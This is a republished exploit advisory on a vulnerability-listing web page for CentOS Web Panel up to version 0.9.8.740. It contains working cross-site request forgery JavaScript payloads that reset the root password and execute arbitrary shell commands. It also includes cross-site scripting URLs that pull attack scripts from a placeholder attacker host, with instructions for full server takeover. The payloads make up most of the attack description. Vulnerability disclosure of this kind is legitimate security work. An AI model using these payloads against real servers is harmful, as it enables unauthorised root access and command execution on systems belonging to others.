centos web panel 0.9.8.740 crosssite request forgery crosssite scripting

▸▸▸ Exploit & Vulnerability >>   webapps exploit & php vulnerability




centos web panel 0.9.8.740 crosssite request forgery crosssite scripting Code Code...
				
# Title: CentOS Web Panel Root Account Takeover + Remote Command Execution <= v0.9.8.740 # Author: InfinitumIT (https://infinitumit.com.tr) # Vendor Homepage: centos-webpanel.com # Software Link: http://centos-webpanel.com/cwp-latest # Version: Up to v0.9.8.740. # CVE: CVE-2018-18773, CVE-2018-18772 and CVE-2018-18774. #? Detailed: https://numanozdemir.com/respdisc/cwp.pdf # Description: # Attacker can change target server's root password and execute command, by CSRF vulnerability. # Also, there is a XSS vulnerability, hacker can exploit the CSRF vulnerability by this XSS # vulnerability and run bad-purposed JavaScript codes on administrator's browser. # So, CSRF/XSS to full server takeover. # How to Reproduce: # Hacker can exploit this vulnerability (changing root password) by XSS or CSRF. # Hacker will create a website and put those codes into source: <script> var url = "http://targetserver:2030/admin/index.php?module=rootpwd"; var params = "ifpost=yes&password1=newpassword&password2=newpassword"; var vuln = new XMLHttpRequest(); vuln.open("POST", url, true); vuln.withCredentials = 'true'; vuln.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); vuln.send(params); </script> # (Update newpassword as the password that you want to change.) # If hacker wants to exploit this by CSRF, CWP administrator will click hacker's website. # But if hacker wants to exploit this by XSS, CWP administrator will click here: (admin's own website) # http://targetserver:2030/admin/index.php?module=<script%20src=//hackerswebsite.com/password.js></script> # After exploiting, you can connect to server by Putty or access the CWP panel with the password # that you have specified from 2030 port. # The second vulnerability is remote command execution. # Hacker can exploit this vulnerability (remote command execution) by XSS or CSRF too. # Again, hacker will create a website and put those codes into source: <script> var url = "http://targetserver:2030/admin/index.php?module=send_ssh"; var params = "ssh+command=whoami"; var vuln = new XMLHttpRequest(); vuln.open("POST", url, true); vuln.withCredentials = 'true'; vuln.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); vuln.send(params); </script> # (Update whoami as command that you want to run.) # Same logic like top, if hacker wants to exploit this by CSRF, CWP administrator will click hacker's website. # But if hacker wants to exploit this by XSS, CWP administrator will click here: (admin's own website) # http://targetserver:2030/admin/index.php?module=<script%20src=//hackerswebsite.com/command.js></script> # shouldnt think that CSRF/XSS are unimportant vulnerabilities. # for secure days...

Centos web panel 0.9.8.740 crosssite request forgery crosssite scripting Vulnerability / Exploit Source : Centos web panel 0.9.8.740 crosssite request forgery crosssite scripting



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.